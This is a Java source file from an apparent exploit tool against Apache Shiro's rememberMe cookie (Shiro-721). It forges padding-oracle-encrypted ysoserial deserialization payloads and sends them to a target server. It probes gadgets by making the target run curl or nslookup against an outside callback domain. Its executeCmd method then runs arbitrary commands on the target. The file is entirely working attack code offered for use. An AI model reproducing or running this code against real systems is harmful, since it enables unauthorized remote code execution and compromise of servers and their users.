package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.PaddingOracle;
import com.shiroexploit.util.*;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;

public class Shiro721VerifiertUsingCeye implements Verifier {

    private Config config;
    private List<PayloadType> gadgets;
    private boolean flag = false;

    public Shiro721VerifiertUsingCeye(){
        System.out.println("[*] Using Shiro721VerifiertUsingCeye");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
    }


    @Override
    public void getValidGadget() throws ExploitFailedException {

        for(PayloadType type : config.getGadgets()){
            System.out.println("[*] Trying Gadget: " + type.getName());

            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            String command;
            if(config.getPlatform() == 0){
                //linux
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\"";

            }else{
                //windows
                command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\"";
            }

            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = paddingOracle.encrypt();
            HttpRequest.request(config.getRequestInfo(), rememberMe);

            if(Tools.getCeyeResult(uuid, config.getCeyeToken())){
                this.gadgets.add(type);
                System.out.println("[+] Find Valid Gadget: " + type.getName());
                if(config.isSkipIfFound()){
                    break;
                }
            }
        }

        this.flag = true;

        if(this.gadgets.size() == 0){
            throw new ExploitFailedException("[-] Can't find a valid gadget");
        }
    }

    @Override
    public String executeCmd(String cmd){

        for(PayloadType gadget : this.gadgets){
            System.out.println("[*] Using Gadget " + gadget.getName());
            System.out.println("[*] Executing command: " + cmd + "...");

            String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + gadget.getName() + " \"" + cmd + "\"";
            byte[] result = Tools.exec(command);
            PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
            String rememberMe = null;
            try {
                rememberMe = paddingOracle.encrypt();
            } catch (ExploitFailedException e) {
                e.printStackTrace();
            }
            HttpRequest.request(config.getRequestInfo(), rememberMe);
            System.out.println("[+] Done");
        }

        return null;
    }
}
